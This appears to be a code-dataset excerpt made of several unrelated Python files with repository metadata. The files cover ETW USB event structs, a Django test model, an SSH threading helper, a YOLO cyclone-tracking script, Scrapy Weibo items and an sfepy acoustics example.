"fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=177, version=0) class Microsoft_Windows_USB_USBHUB_177_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=178, version=0) class Microsoft_Windows_USB_USBHUB_178_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=179, version=0) class Microsoft_Windows_USB_USBHUB_179_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=180, version=0) class Microsoft_Windows_USB_USBHUB_180_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=181, version=0) class Microsoft_Windows_USB_USBHUB_181_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=183, version=0) class Microsoft_Windows_USB_USBHUB_183_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=184, version=0) class Microsoft_Windows_USB_USBHUB_184_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=185, version=0) class Microsoft_Windows_USB_USBHUB_185_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=189, version=0) class Microsoft_Windows_USB_USBHUB_189_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=190, version=0) class Microsoft_Windows_USB_USBHUB_190_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=199, version=0) class Microsoft_Windows_USB_USBHUB_199_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=200, version=0) class Microsoft_Windows_USB_USBHUB_200_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=209, version=0) class Microsoft_Windows_USB_USBHUB_209_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=210, version=0) class Microsoft_Windows_USB_USBHUB_210_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int32sl, "fid_USBHUB_Hub" / Double, "fid_PortNumber" / Int32ul, "fid_Class" / Int32ul, "fid_NtStatus" / Int32ul, "fid_UsbdStatus" / Int32ul, "fid_DebugText" / CString ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=211, version=0) class Microsoft_Windows_USB_USBHUB_211_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_PortStatusChange" / Int16ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=212, version=0) class Microsoft_Windows_USB_USBHUB_212_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_TimerTag" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=213, version=0) class Microsoft_Windows_USB_USBHUB_213_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_TimerTag" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=214, version=0) class Microsoft_Windows_USB_USBHUB_214_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_TimerTag" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=220, version=0) class Microsoft_Windows_USB_USBHUB_220_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=229, version=0) class Microsoft_Windows_USB_USBHUB_229_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=230, version=0) class Microsoft_Windows_USB_USBHUB_230_0(Etw): pattern = Struct( "fid_TimeElapsedBeforeLogStart" / Int64ul, "fid_USBHUB_HC" / Int32ul, "fid_USBHUB_Hub" / Int8ul, "fid_PortNumber" / Int32ul, "fid_Class" / Int32ul, "fid_NtStatus" / Int32ul, "fid_UsbdStatus" / Int32ul, "fid_DebugText" / CString ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=231, version=0) class Microsoft_Windows_USB_USBHUB_231_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=232, version=0) class Microsoft_Windows_USB_USBHUB_232_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=233, version=0) class Microsoft_Windows_USB_USBHUB_233_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=234, version=0) class Microsoft_Windows_USB_USBHUB_234_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul )
29.917379
123
0.669301
21,864
0.694029
0
0
30,821
0.978351
0
0
10,300
0.326953
d5894d927b0277f7ba467a9bda0d567ef57efa68
678
py
Python
tests/testapp/models/caretaker.py
BBooijLiewes/django-binder
b5bf0aad14657fd57d575f9a0ef21468533f64a7
[ "MIT" ]
null
null
null
tests/testapp/models/caretaker.py
BBooijLiewes/django-binder
b5bf0aad14657fd57d575f9a0ef21468533f64a7
[ "MIT" ]
null
null
null
tests/testapp/models/caretaker.py
BBooijLiewes/django-binder
b5bf0aad14657fd57d575f9a0ef21468533f64a7
[ "MIT" ]
null
null
null
from django.db import models from django.db.models import Count, F, Max from binder.models import BinderModel class Caretaker(BinderModel): name = models.TextField() last_seen = models.DateTimeField(null=True, blank=True) # We have the ssn for each caretaker. We have to make sure that nobody can access this ssn in anyway, since # this shouldn't be accessible ssn = models.TextField(default='my secret ssn') def __str__(self): return 'caretaker %d: %s' % (self.pk, self.name) class Binder: history = True class Annotations: best_animal = Max('animals__name') animal_count = Count('animals') bsn = F('ssn') # simple alias last_present = F('last_seen')
28.25
108
0.731563
566
0.834808
0
0
0
0
0
0
224
0.330383
d58b4673e8699aa22b8c8f9e9c79b3d6ac592f80
292
py
Python
blog/2017-12-17--python-ssh-logger/scripts/create_threads.py
mpolinowski/gatsby-starter-minimal-blog
cdb628357e806be211c3220bfb7b50ac0c204a6c
[ "MIT" ]
1
2020-10-20T16:39:11.000Z
2020-10-20T16:39:11.000Z
blog/2017-12-17--python-ssh-logger/scripts/create_threads.py
mpolinowski/gatsby-starter-minimal-blog
cdb628357e806be211c3220bfb7b50ac0c204a6c
[ "MIT" ]
null
null
null
blog/2017-12-17--python-ssh-logger/scripts/create_threads.py
mpolinowski/gatsby-starter-minimal-blog
cdb628357e806be211c3220bfb7b50ac0c204a6c
[ "MIT" ]
null
null
null
import threading # Create threads for each SSH connection def create_threads(list, function): threads = [] for ip in list: th = threading.Thread(target = function, args = (ip,)) th.start() threads.append(th) for th in threads: th.join()
20.857143
62
0.59589
0
0
0
0
0
0
0
0
40
0.136986
d58c1422d124dbf9b76d6fdfb103b78c63395525
1,129
py
Python
generate_csv.py
KishanChandravanshi/forecast-cyclone-path
766bb8440206b24d34ccd0eae488e2651d4e0467
[ "MIT" ]
null
null
null
generate_csv.py
KishanChandravanshi/forecast-cyclone-path
766bb8440206b24d34ccd0eae488e2651d4e0467
[ "MIT" ]
null
null
null
generate_csv.py
KishanChandravanshi/forecast-cyclone-path
766bb8440206b24d34ccd0eae488e2651d4e0467
[ "MIT" ]
null
null
null
import cv2 from darkflow.net.build import TFNet import numpy as np import glob import matplotlib.pyplot as plt options = { 'model': 'cfg/yolo-v2.cfg', 'load':8375, 'gpu':0.8, 'threshold':0.1 } count = 1 tfnet = TFNet(options) color = [0, 255, 0] files_path = glob.glob('data_from_imd' + "\\*.jpg") for file in files_path: print('Working on {}, Please wait...'.format(file)) img = cv2.imread(file, cv2.IMREAD_COLOR) results = tfnet.return_predict(img) try: top_detection = results[:1] for result in top_detection: # first we will be trying to store the x_coordinate, y_coordinate in the file x1, y1 = (result['topleft']['x'], result['topleft']['y']) x2, y2 = (result['bottomright']['x'], result['bottomright']['y']) x_coordinate = (x1 + x2) // 2 y_coordinate = (y1 + y2) // 2 with open('csvfile.txt', 'a') as myfile: temp = str(count) + ',' + str(x_coordinate) + "," + str(y_coordinate) + '\n' myfile.writelines(temp) count += 1 except Exception as e: print(str(e))
33.205882
92
0.583702
0
0
0
0
0
0
0
0
260
0.230292
d58d822662d574ca4045a6e27ecef06bb1dab250
1,421
py
Python
weibo/items.py
flyhighfairy/weibo
469f21543facaba828fa7c0ad0dd8da130192fba
[ "MIT" ]
1
2018-01-23T19:36:27.000Z
2018-01-23T19:36:27.000Z
weibo/items.py
flyhighfairy/weibo
469f21543facaba828fa7c0ad0dd8da130192fba
[ "MIT" ]
null
null
null
weibo/items.py
flyhighfairy/weibo
469f21543facaba828fa7c0ad0dd8da130192fba
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # http://doc.scrapy.org/en/latest/topics/items.html import scrapy class WeiboVMblogsItem(scrapy.Item): domain = scrapy.Field() uid = scrapy.Field() mblog_id = scrapy.Field() mblog_content = scrapy.Field() created_time = scrapy.Field() crawled_time = scrapy.Field() def get_insert_sql(self): insert_sql = """ insert into crawled_weibov_mblogs(domain, uid, mblog_id, mblog_content, created_time, crawled_time) VALUES (%s, %s, %s, %s, %s, %s) """ params = (self["domain"], self["uid"], self["mblog_id"], self["mblog_content"], self["created_time"], self["crawled_time"]) return insert_sql, params class WeiboVCommentsItem(scrapy.Item): mblog_id = scrapy.Field() uid = scrapy.Field() comment_id = scrapy.Field() comment_content = scrapy.Field() created_time = scrapy.Field() crawled_time = scrapy.Field() def get_insert_sql(self): insert_sql = """ insert into crawled_weibov_comments(mblog_id, uid, comment_id, comment_content, created_time, crawled_time) VALUES (%s, %s, %s, %s, %s, %s) """ params = (self["mblog_id"], self["uid"], self["comment_id"], self["comment_content"], self["created_time"], self["crawled_time"]) return insert_sql, params
30.891304
137
0.63969
1,250
0.879662
0
0
0
0
0
0
633
0.445461
d58eecd34de9c6681c2ee538dc026e2a42c6715b
4,284
py
Python
examples/acoustics/vibro_acoustic3d.py
clazaro/sfepy
78757a6989d6aaf85a3fb27957b9179c5e2aa2c7
[ "BSD-3-Clause" ]
1
2021-05-15T16:28:45.000Z
2021-05-15T16:28:45.000Z
examples/acoustics/vibro_acoustic3d.py
clazaro/sfepy
78757a6989d6aaf85a3fb27957b9179c5e2aa2c7
[ "BSD-3-Clause" ]
null
null
null
examples/acoustics/vibro_acoustic3d.py
clazaro/sfepy
78757a6989d6aaf85a3fb27957b9179c5e2aa2c7
[ "BSD-3-Clause" ]
null
null
null
r""" Vibro-acoustic problem 3D acoustic domain with 2D perforated deforming interface. *Master problem*: defined in 3D acoustic domain (``vibro_acoustic3d.py``) *Slave subproblem*: 2D perforated interface (``vibro_acoustic3d_mid.py``) Master 3D problem - find :math:`p` (acoustic pressure) and :math:`g` (transversal acoustic velocity) such that: .. math:: c^2 \int_{\Omega} \nabla q \cdot \nabla p - \omega^2 \int_{\Omega} q p + i \omega c \int_{\Gamma_{in}} q p + i \omega c \int_{\Gamma_{out}} q p - i \omega c^2 \int_{\Gamma_0} (q^+ - q^-) g = 2i \omega c \int_{\Gamma_{in}} q \bar{p} \;, \quad \forall q \;, - i \omega \int_{\Gamma_0} f (p^+ - p^-) - \omega^2 \int_{\Gamma_0} F f g + \omega^2 \int_{\Gamma_0} C f w = 0 \;, \quad \forall f \;, Slave 2D subproblem - find :math:`w` (plate deflection) and :math:`\ul{\theta}` (rotation) such that: .. math:: \omega^2 \int_{\Gamma_0} C z g - \omega^2 \int_{\Gamma_0} S z w + \int_{\Gamma_0} \nabla z \cdot \ull{G} \cdot \nabla w - \int_{\Gamma_0} \ul{\theta} \cdot \ull{G} \cdot \nabla z = 0 \;, \quad \forall z \;, - \omega^2 \int_{\Gamma_0} R\, \ul{\nu} \cdot \ul{\theta} + \int_{\Gamma_0} D_{ijkl} e_{ij}(\ul{\nu}) e_{kl}(\ul{\theta}) - \int_{\Gamma_0} \ul{\nu} \cdot \ull{G} \cdot \nabla w + \int_{\Gamma_0} \ul{\nu} \cdot \ull{G} \cdot \ul{\theta} = 0 \;, \quad \forall \ul{\nu} \;, """ from __future__ import absolute_import from sfepy import data_dir filename_mesh = data_dir + '/meshes/3d/acoustic_wg.vtk' sound_speed = 343.0 wave_num = 5.5 p_inc = 300 c = sound_speed c2 = c**2 w = wave_num * c w2 = w**2 wc = w * c wc2 = w * c2 regions = { 'Omega1': 'cells of group 1', 'Omega2': 'cells of group 2', 'GammaIn': ('vertices of group 1', 'face'), 'GammaOut': ('vertices of group 2', 'face'), 'Gamma_aux': ('r.Omega1 *v r.Omega2', 'face'), 'Gamma0_1': ('copy r.Gamma_aux', 'face', 'Omega1'), 'Gamma0_2': ('copy r.Gamma_aux', 'face', 'Omega2'), 'aux_Left': ('vertices in (x < 0.001)', 'face'), 'aux_Right': ('vertices in (x > 0.299)', 'face'), 'Gamma0_1_Left': ('r.Gamma0_1 *v r.aux_Left', 'edge'), 'Gamma0_1_Right': ('r.Gamma0_1 *v r.aux_Right', 'edge'), } fields = { 'pressure1': ('complex', 'scalar', 'Omega1', 1), 'pressure2': ('complex', 'scalar', 'Omega2', 1), 'tvelocity': ('complex', 'scalar', 'Gamma0_1', 1), 'deflection': ('complex', 'scalar', 'Gamma0_1', 1), } variables = { 'p1': ('unknown field', 'pressure1', 0), 'q1': ('test field', 'pressure1', 'p1'), 'p2': ('unknown field', 'pressure2', 1), 'q2': ('test field', 'pressure2', 'p2'), 'g0': ('unknown field', 'tvelocity', 2), 'f0': ('test field', 'tvelocity', 'g0'), 'w': ('unknown field', 'deflection', 3), 'z': ('test field', 'deflection', 'w'), } ebcs = { 'fixed_l': ('Gamma0_1_Left', {'w.0': 0.0}), 'fixed_r': ('Gamma0_1_Right', {'w.0': 0.0}), } options = { 'file_per_var': True, } functions = { } materials = { 'ac' : ({'F': -2.064e+00, 'c': -1.064e+00}, ), } equations = { 'eq_1' : """ %e * dw_laplace.5.Omega1(q1, p1) + %e * dw_laplace.5.Omega2(q2, p2) - %e * dw_volume_dot.5.Omega1(q1, p1) - %e * dw_volume_dot.5.Omega2(q2, p2) + %s * dw_surface_dot.5.GammaIn(q1, p1) + %s * dw_surface_dot.5.GammaOut(q2, p2) - %s * dw_surface_dot.5.Gamma0_1(q1, g0) + %s * dw_surface_dot.5.Gamma0_2(q2, tr(g0)) = %s * dw_surface_integrate.5.GammaIn(q1)"""\ % (c2, c2, w2, w2, 1j * wc, 1j * wc, 1j * wc2, 1j * wc2, 2j * wc * p_inc), 'eq_2' : """ - %s * dw_surface_dot.5.Gamma0_1(f0, p1) + %s * dw_surface_dot.5.Gamma0_1(f0, tr(p2)) - %e * dw_surface_dot.5.Gamma0_1(ac.F, f0, g0) + %e * dw_surface_dot.5.Gamma0_1(ac.c, f0, w) = 0"""\ % (1j * w, 1j * w, w2, w2), } solvers = { 'ls': ('ls.cm_pb', {'others': [data_dir + '/examples/acoustics/vibro_acoustic3d_mid.py'], 'coupling_variables': ['g0', 'w'], }), 'nls': ('nls.newton', { 'i_max' : 1, 'eps_a' : 1e-6, 'eps_r' : 1e-6, }) }
29.544828
73
0.538749
0
0
0
0
0
0
0
0
3,156
0.736695